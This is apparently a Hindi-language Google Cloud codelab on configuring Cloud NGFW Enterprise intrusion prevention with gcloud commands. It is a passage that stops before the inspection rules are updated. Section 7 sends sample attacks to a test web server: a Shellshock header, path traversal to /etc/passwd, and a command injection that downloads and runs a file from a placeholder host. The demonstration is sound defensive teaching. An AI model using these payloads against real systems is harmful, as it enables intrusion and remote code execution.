1. परिचय
क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू)
Cloud Next Generation Firewall, पूरी तरह से डिस्ट्रिब्यूट की गई फ़ायरवॉल सेवा है. इसमें बेहतर सुरक्षा की सुविधाएं, माइक्रो-सेगमेंटेशन, और बेहतर कवरेज शामिल है. इससे आपके Google Cloud वर्कलोड को अंदरूनी और बाहरी हमलों से बचाया जा सकता है.
क्लाउड एनजीएफ़डब्ल्यू के ये फ़ायदे हैं:
- डिस्ट्रिब्यूटेड फ़ायरवॉल सेवा: Cloud NGFW, हर वर्कलोड पर स्टेटफ़ुल और पूरी तरह से डिस्ट्रिब्यूटेड होस्ट-आधारित एनफ़ोर्समेंट उपलब्ध कराता है. इससे, शून्य-भरोसे वाले सुरक्षा आर्किटेक्चर को चालू किया जा सकता है.
- आसानी से कॉन्फ़िगर और डिप्लॉय किया जा सकता है: Cloud NGFW, नेटवर्क और हैरारकी वाली फ़ायरवॉल नीतियां लागू करता है. इन्हें संसाधन हैरारकी नोड से अटैच किया जा सकता है. ये नीतियां, Google Cloud के संसाधनों की हैरारकी में फ़ायरवॉल का एक जैसा अनुभव देती हैं.
- बेहतर कंट्रोल और माइक्रो-सेगमेंटेशन: फ़ायरवॉल की नीतियों और पहचान और ऐक्सेस मैनेजमेंट (IAM) से मैनेज किए जाने वाले टैग के कॉम्बिनेशन से, वर्चुअल प्राइवेट क्लाउड (वीपीएन) नेटवर्क और संगठनों में, नॉर्थ-साउथ और ईस्ट-वेस्ट, दोनों तरह के ट्रैफ़िक को बेहतर तरीके से कंट्रोल किया जा सकता है. यह कंट्रोल, एक वीएम तक किया जा सकता है.
Cloud NGFW इन टीयर में उपलब्ध है:
- क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल के बारे में ज़रूरी जानकारी
- क्लाउड नेक्स्ट जनरेशन फ़ायरवॉल स्टैंडर्ड
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise, डिस्ट्रिब्यूटेड Google Cloud फ़ायरवॉल फ़ैब्रिक में इनट्रूज़न प्रिवेंशन सर्विस (आईपीएस) जोड़ता है. यह लेयर 7 की सुविधा है. टीएलएस की मदद से एन्क्रिप्ट किए गए ट्रैफ़िक की जांच करने के लिए, टीएलएस की जांच की सुविधा काम करती है. हालांकि, यह इस कोडलैब के दायरे से बाहर है. टीएलएस की जांच की सुविधा वाले Cloud NGFW एंटरप्राइज़ कोडलैब देखें.
अब अपने नेटवर्क आर्किटेक्चर या रूटिंग कॉन्फ़िगरेशन में कोई बदलाव किए बिना, बेहतर कंट्रोल के साथ लेयर 7 नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू) की जांच की जा सकती है.
आईपीएस के साथ लेयर 7 फ़ायरवॉल कंट्रोल को चालू और डिप्लॉय करने के लिए, आपको ये काम करने होंगे:
- Google Cloud के मैनेज किए जा रहे ज़ोनल फ़ायरवॉल एंडपॉइंट का सेट बनाएं.
- इसके अलावा, TLS जांच की नीति बनाएं (इस कोडलैब में शामिल नहीं है)
- इसके अलावा, ट्रस्ट कॉन्फ़िगरेशन भी बनाया जा सकता है. हालांकि, इस कोडलैब में इस बारे में नहीं बताया गया है
- इन एंडपॉइंट को उन वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क से जोड़ें जहां आपको Cloud NGFW Enterprise सेवा की ज़रूरत है.
- अलग-अलग ट्रैफ़िक पाथ के लिए, खतरे से बचाव करने वाली प्रोफ़ाइलों की जानकारी देने के लिए, अपनी मौजूदा फ़ायरवॉल नीतियों और फ़ायरवॉल नियमों में आसान बदलाव करें.
नेटवर्क फ़ायरवॉल से जुड़ी नीतियां
नेटवर्क फ़ायरवॉल की नीति, फ़ायरवॉल के नियमों के लिए कंटेनर के तौर पर काम करती है. नेटवर्क फ़ायरवॉल नीति में तय किए गए नियम तब तक कहीं भी लागू नहीं होते, जब तक कि नीति किसी वीपीएन नेटवर्क से जुड़ी न हो. हर VPC नेटवर्क के साथ, एक नेटवर्क फ़ायरवॉल नीति जुड़ी हो सकती है. नेटवर्क फ़ायरवॉल की नीतियां, फ़ायरवॉल के नियमों में IAM से मैनेज किए जाने वाले टैग (या सिर्फ़ टैग) के साथ काम करती हैं. ये मौजूदा नेटवर्क टैग की जगह ले लेते हैं और इनका इस्तेमाल, वर्कलोड को पहचान देने के लिए किया जा सकता है.
सभी नेटवर्क पर नेटवर्क फ़ायरवॉल की नीति शेयर करने और IAM से मैनेज किए जाने वाले टैग के साथ इंटिग्रेट करने से, फ़ायरवॉल को कॉन्फ़िगर और मैनेज करना काफ़ी आसान हो जाता है.
नेटवर्क फ़ायरवॉल नीति के लागू होने के बाद, Google Cloud की फ़ायरवॉल नीतियां में अब ये कॉम्पोनेंट शामिल हैं:
- हियरार्की वाली फ़ायरवॉल नीति
- VPC फ़ायरवॉल के नियम
- नेटवर्क फ़ायरवॉल की नीति ( ग्लोबल और रीजनल)
हैरारकी वाली फ़ायरवॉल नीतियां, संसाधन की हैरारकी में संगठन और फ़ोल्डर नोड पर काम करती हैं. वहीं, VPC फ़ायरवॉल के नियम और नेटवर्क फ़ायरवॉल की नीतियां, VPC लेवल पर लागू होती हैं. VPC फ़ायरवॉल के नियमों और नेटवर्क फ़ायरवॉल की नीतियों के बीच का बड़ा अंतर यह है कि VPC फ़ायरवॉल के नियम सिर्फ़ एक VPC नेटवर्क पर लागू किए जा सकते हैं. वहीं, नेटवर्क फ़ायरवॉल की नीतियां, एक VPC या VPC के ग्रुप से जुड़ी जा सकती हैं. साथ ही, इनसे बैच अपडेट जैसे अन्य फ़ायदे भी मिलते हैं.
आखिर में, हमारे पास ऐसे फ़ायरवॉल नियम भी हैं जो हर VPC नेटवर्क के साथ आते हैं:
- ऐसा एग्ज़िट रूल जिसकी कार्रवाई 'अनुमति दें' है और डेस्टिनेशन 0.0.0.0/0 है
- ऐसा इनग्रेस नियम जिसकी कार्रवाई 'अस्वीकार करें' है और सोर्स 0.0.0.0/0 है
नीति उल्लंघन ठीक करने का क्रम, डिफ़ॉल्ट रूप से इस डायग्राम में दिखाया गया है:
कृपया ध्यान दें कि VPC फ़ायरवॉल के नियमों और ग्लोबल नेटवर्क फ़ायरवॉल नीति के बीच, लागू करने के क्रम को बदला जा सकता है. ग्राहक, gcloud कमांड की मदद से, किसी भी समय नीति उल्लंघन ठीक करने का आदेश दे सकते हैं.
IAM से मैनेज किए जाने वाले टैग
नेटवर्क फ़ायरवॉल नीति के नियमों में इंटिग्रेट किए गए नए टैग, की-वैल्यू पेयर वाले ऐसे रिसॉर्स हैं जिन्हें Google Cloud के रिसॉर्स के लेआउट में, संगठन या प्रोजेक्ट-लेवल पर तय किया जाता है. इस तरह के टैग में IAM ऐक्सेस कंट्रोल होता है. नाम से पता चलता है कि टैग पर कौन क्या कर सकता है. उदाहरण के लिए, IAM अनुमतियों की मदद से यह तय किया जा सकता है कि कौनसे प्रिंसिपल, टैग को वैल्यू असाइन कर सकते हैं और कौनसे प्रिंसिपल, रिसॉर्स में टैग अटैच कर सकते हैं. किसी संसाधन पर टैग लागू होने के बाद, नेटवर्क फ़ायरवॉल के नियम इसका इस्तेमाल करके, ट्रैफ़िक को अनुमति दे सकते हैं और उसे रोक सकते हैं.
टैग, Google Cloud के इनहेरिटेंस रिसॉर्स मॉडल का पालन करते हैं. इसका मतलब है कि टैग और उनकी वैल्यू, पैरंट से हैरारकी में नीचे की ओर भेजी जाती हैं. इस वजह से, टैग एक ही जगह पर बनाए जा सकते हैं और फिर संसाधनों की हैरारकी में मौजूद अन्य फ़ोल्डर और प्रोजेक्ट में उनका इस्तेमाल किया जा सकता है. टैग और ऐक्सेस से जुड़ी पाबंदी के बारे में जानने के लिए, इस पेज पर जाएं.
टैग को नेटवर्क टैग से अलग रखना चाहिए. बाद वाली स्ट्रिंग, Compute Engine इंस्टेंस में जोड़ी जा सकती हैं. ये इंस्टेंस से जुड़ी होती हैं और इंस्टेंस बंद होने पर हट जाती हैं. VPC फ़ायरवॉल के नियमों में नेटवर्क टैग शामिल हो सकते हैं. हालांकि, इन्हें क्लाउड संसाधन नहीं माना जाता है. इसलिए, इन पर IAM ऐक्सेस कंट्रोल लागू नहीं होता.
ध्यान दें कि इस दस्तावेज़ में, टैग और IAM से मैनेज किए जाने वाले टैग का इस्तेमाल एक-दूसरे की जगह किया जा रहा है.
आपको क्या बनाना है
इस कोडलैब के लिए, एक प्रोजेक्ट और सार्वजनिक कनेक्टिविटी वाला VPC नेटवर्क बनाने की ज़रूरत होती है. साथ ही, इसमें यह भी बताया जाएगा कि Cloud NGFW Enterprise, आईपीएस की सुविधा कैसे दे सकता है:
- VPC/सबनेट के अंदर के फ़्लो की जांच करना [ईस्ट-वेस्ट]
- इंटरनेट से आने वाले इनग्रेस फ़्लो की जांच करना [नॉर्थ-साउथ]
जिन फ़्लो की जांच करनी है उन्हें Cloud Firewall के मैचिंग पैरामीटर का इस्तेमाल करके चुना जाएगा. इन पैरामीटर में, पांच ट्यूपल (सोर्स आईपी, डेस्टिनेशन आईपी, प्रोटोकॉल, सोर्स पोर्ट, डेस्टिनेशन पोर्ट) और टैग शामिल हैं. इस कोडलैब में TLS जांच शामिल नहीं है.
नेटवर्क फ़ायरवॉल की नीति का नियमों का आधार, नीचे दी गई टेबल जैसा होगा:
प्राथमिकता | दिशा | Target | सोर्स | डेस्टिनेशन | कार्रवाई | स्ट्रीम किस तरह की है |
100 | इग्रेस डेटा ट्रैफ़िक | Quarantine_Tag | कोई भी | कोई भी | अस्वीकार करें | इन्हें ज़रूर आज़माएं |
1000 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | परफ़ॉर्मेंस की जांच की रेंज | कोई भी | अनुमति दें | इन्हें ज़रूर आज़माएं |
2000 | इन्ग्रेस डेटा ट्रैफ़िक | कोई भी | Identity-Aware Proxy की रेंज | कोई भी | अनुमति दें | इन्हें ज़रूर आज़माएं |
3000 | इन्ग्रेस डेटा ट्रैफ़िक | कोई भी | Geo, GCTI | कोई भी | अस्वीकार करें | स्टैंडर्ड मोड |
4000 | इग्रेस डेटा ट्रैफ़िक | कोई भी | कोई भी | Geo, GCTI | अस्वीकार करें | स्टैंडर्ड मोड |
5000 | इग्रेस डेटा ट्रैफ़िक | कोई भी | कोई भी | सिस्टम अपडेट के एफ़क्यूडीएन | अनुमति दें | स्टैंडर्ड मोड |
6000 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | 10.0.0.0/24 | कोई भी | IPS | एंटरप्राइज़ |
7000 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | CloudNAT_IP | कोई भी | IPS | एंटरप्राइज़ |
आपको इनके बारे में जानकारी मिलेगी
- ग्लोबल नेटवर्क फ़ायरवॉल नीति बनाने का तरीका
- नेटवर्क फ़ायरवॉल नीति वाले टैग बनाने और इस्तेमाल करने का तरीका
- Cloud NGFW Enterprise इनट्रूज़न प्रिवेंशन सर्विस को कॉन्फ़िगर और इस्तेमाल करने का तरीका
आपको इन चीज़ों की ज़रूरत होगी
- Google Cloud प्रोजेक्ट
- इंस्टेंस डिप्लॉय करने और नेटवर्किंग कॉम्पोनेंट कॉन्फ़िगर करने के बारे में जानकारी
- VPC फ़ायरवॉल कॉन्फ़िगरेशन के बारे में जानकारी
2. शुरू करने से पहले
वैरिएबल बनाना/अपडेट करना
इस कोडलैब में, Cloud Shell में gcloud कॉन्फ़िगरेशन लागू करने में मदद करने के लिए, $variables का इस्तेमाल किया गया है.
Cloud Shell में, ब्रैकेट में दी गई जानकारी को ज़रूरत के मुताबिक बदलकर, नीचे दिए गए निर्देश चलाएं. अगर आपका पसंदीदा प्रोजेक्ट पहले से सेट है, तो उसे सेट करने की प्रक्रिया को छोड़ दें. अगर फ़ायरवॉल के कई एंडपॉइंट की ज़रूरत है, तो संगठन-लेवल के संसाधनों के लिए किसी दूसरे वैरिएबल का इस्तेमाल किया जाता है.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. एपीआई चालू करें
अगर आपने एपीआई चालू नहीं किए हैं, तो उन्हें चालू करें:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW एंटरप्राइज़ सिक्योरिटी प्रोफ़ाइल और एंडपॉइंट बनाना
Cloud NGFW Enterprise एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं. इसलिए, इसे पहले बनाया जाएगा. साथ ही, एंडपॉइंट बनने के दौरान, बुनियादी सेटअप भी किया जा सकता है.
सुरक्षा प्रोफ़ाइल और सुरक्षा प्रोफ़ाइल ग्रुप बनाएं:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
अनुमानित आउटपुट:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
पुष्टि करें कि संसाधन सही तरीके से बनाए गए हैं:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
अनुमानित आउटपुट:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Cloud NGFW एंटरप्राइज़ एंडपॉइंट बनाएं:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
एंडपॉइंट बनने की पुष्टि करने के लिए, नीचे दिया गया निर्देश चलाएं (स्टेटस: बनाया जा रहा है).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से आउटपुट फ़ॉर्मैट अलग-अलग हो सकता है):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
ज़्यादा जानकारी पाने के लिए, नीचे दिया गया कमांड चलाएं:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
अनुमानित आउटपुट:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
एंडपॉइंट बनाने की प्रोसेस में करीब 20 मिनट लगते हैं. एक साथ ज़रूरी संसाधन बनाने के लिए, बेस सेटअप सेक्शन पर जाएं.
5. बुनियादी सेटअप
अगर आपको बुनियादी संसाधन मैन्युअल तरीके से बनाने हैं, तो नीचे दिए गए सेक्शन पर जाएं.
VPC नेटवर्क और सबनेट
VPC नेटवर्क और सबनेट
VPC नेटवर्क और सबनेट बनाएं:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
क्लाउड एनएटी
क्लाउड राउटर और क्लाउड एनएटी गेटवे बनाएं:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
nstances
क्लाइंट और वेब-सर्वर इंस्टेंस बनाएं:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
प्रोजेक्ट-लेवल के टैग
ज़रूरत पड़ने पर, उपयोगकर्ता को tagAdmin और/या tagUser की अनुमतियां असाइन करें:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
प्रोजेक्ट-लेवल की टैग कुंजी और वैल्यू बनाएं:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
टैग को इंस्टेंस से बांधना:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
ग्लोबल नेटवर्क फ़ायरवॉल से जुड़ी नीति
ग्लोबल नेटवर्क फ़ायरवॉल नीति बनाएं:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
क्वॉरंटीन किए गए इंस्टेंस (सिर्फ़ उदाहरण के तौर पर बनाए गए, इस कोडलैब में इस्तेमाल नहीं किए जा रहे) से आने वाले ट्रैफ़िक को रोकने और हेल्थ-चेक और आइडेंटिटी-अवेयर प्रॉक्सी रेंज से आने वाले ट्रैफ़िक को अनुमति देने के लिए, Cloud फ़ायरवॉल के ज़रूरी नियम बनाएं:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
पाबंदी वाले देशों, नुकसान पहुंचाने वाले आईपी पतों, और टोर (अनजान नेटवर्क) के एग्ज़िट नोड से आने वाले और उनमें जाने वाले ट्रैफ़िक को रोकने के लिए, क्लाउड फ़ायरवॉल के स्टैंडर्ड नियम बनाएं. साथ ही, सिस्टम अपडेट के लिए सिर्फ़ चुनिंदा एफ़क्यूडीएन को जाने वाले ट्रैफ़िक की अनुमति दें. यह सिर्फ़ उदाहरण के तौर पर बनाया गया है. इसका इस्तेमाल इस कोडलैब में नहीं किया जा रहा है:
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
क्लाउड फ़ायरवॉल के नियम बनाएं, ताकि खास रेंज से ईस्ट-वेस्ट / इंटर-सबनेट और नॉर्थ-साउथ / इंटरनेट ट्रैफ़िक को इन्ग्रेस की अनुमति दी जा सके. Cloud NGFW Enterprise को चालू करने के लिए, इन नियमों को अपडेट किया जाएगा:
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
नेटवर्क फ़ायरवॉल नीति को VPC नेटवर्क से जोड़ें:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
एक्सटर्नल टीसीपी/यूडीपी नेटवर्क लोड बैलेंसर
कोई एक्सटर्नल आईपी पता रिज़र्व करें और इंस्टेंस ग्रुप और हेल्थ चेक बनाएं:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
बैकएंड सेवा और फ़ॉरवर्ड करने का नियम बनाएं:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise Endpoint Association
अगर ज़रूरी हो, तो एनवायरमेंट वैरिएबल फिर से तय करें.
पुष्टि करें कि Cloud Firewall एंडपॉइंट बनाने की प्रोसेस पूरी हो गई है. सिर्फ़ तब आगे बढ़ें, जब स्थिति चालू है के तौर पर दिखे. खाता बनाने के दौरान, स्थिति बनाया जा रहा है के तौर पर दिखती है:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट का फ़ॉर्मैट अलग-अलग हो सकता है):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
ज़्यादा जानकारी पाने के लिए, नीचे दिया गया कमांड चलाएं:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
अनुमानित आउटपुट:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Cloud NGFW एंटरप्राइज़ एंडपॉइंट को VPC नेटवर्क से असोसिएट करें:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
खाते को जोड़ने में करीब 10 मिनट लगते हैं. सिर्फ़ तब आगे बढ़ें, जब स्थिति चालू है के तौर पर दिखे. खाता बनाने की प्रोसेस के दौरान, स्थिति बनाया जा रहा है के तौर पर दिखती है:
gcloud network-security firewall-endpoint-associations list
अनुमानित आउटपुट:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
ज़्यादा जानकारी पाने के लिए, नीचे दिया गया कमांड चलाएं:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
अनुमानित आउटपुट:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Cloud NGFW एंटरप्राइज़ इंस्पेक्शन रूल
नया टैब खोलें और IAP के ज़रिए क्लाइंट वीएम से एसएसएच कनेक्शन शुरू करें. इसके लिए, आपको नए टैब में वैरिएबल फिर से तय करने होंगे:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
एसएसएच सेशन में ज़रूरी वैरिएबल तय करें और वैरिएबल सेट करें. पक्का करें कि वैल्यू सही हों:
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
दोनों आईपी को ऐक्सेस किया जा सकता है, इसकी पुष्टि करने के लिए, दोनों आईपी को कर्ल करें:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
दोनों curl अनुरोधों के लिए अनुमानित नतीजा:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
इंटरनल सर्वर आईपी (ईस्ट-वेस्ट / इंट्रा-वीपीसी ट्रैफ़िक) पर हमले के सैंपल भेजें. वेब सर्वर को सभी अनुरोधों का जवाब देना चाहिए. इससे यह पुष्टि होती है कि L7 जांच/रोकथाम की सुविधा चालू नहीं है:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Cloud NAT (नॉर्थ-साउथ इनबाउंड ट्रैफ़िक) की मदद से, बाहरी सर्वर आईपी पर सैंपल अटैक फिर से भेजें. इसी तरह, वेब सर्वर को सभी अनुरोधों का जवाब देना चाहिए:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
सार्वजनिक और निजी, दोनों तरह के आईपी के लिए मिलने वाले नतीजे:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Cloud Shell पर वापस जाएं और L7 जांच की सुविधा चालू करने के लिए, मौजूदा इनग्रेस नियमों को अपडेट करें:
